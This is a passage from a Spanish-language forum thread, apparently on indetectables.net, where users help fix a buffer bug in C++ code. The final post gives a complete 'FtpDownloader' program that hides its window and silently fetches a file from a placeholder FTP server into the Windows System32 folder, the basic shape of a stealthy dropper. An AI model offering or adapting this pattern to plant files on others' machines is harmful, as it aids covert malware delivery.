Página 2 de 2

Re: [duda]ftp en c++

Publicado: 13 Nov 2010, 13:31
por ps1c0s1s
winnipu dir esta sin inicializar al concatenar te mete basura de lo que tenias al no inicializarlo haz en el primer strcat un strcpy .

En el codigo de osnaraus a lo mejor habria que controlar los tamaños o tirar de strncat, indicando el tamaño deseado para que no te pases con el tamaño del array de chars es decir de la variable dir
Pero el de osnaraus Esta muy bien !! es solo una sugerencia !!!!

Re: [duda]ftp en c++

Publicado: 13 Nov 2010, 17:21
por winnipu
Gracias a todos. Habeis sido de gran ayuda. Se agradece de veras, da gusto ver gente tan amable.

Al final uso el de osnaraus con la pequeña modificacion del strcpy que recomendaba ps1c0s1s, os pego codigo para que lo testeeis si quereis, al final, como siempre que te ayudan el codigo es de todos:

Código: Seleccionar todo

/*
 * Codigo compilado por indetectables.net
 * 13/11/2010
 * FtpDownloader
 */
#include <windows.h>
#include <wininet.h>
#include <string.h>


#define RARCHIVO "index.html"

int main()
{
  char dir[90]="";
  strcpy(dir, getenv("windir")); //obtiene el path de windows
  strcat(dir, "\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir, RARCHIVO); // c://windows/system32/index.html
   
  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "direccionFtp", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);

return 0;
}
Compilado con dev cpp.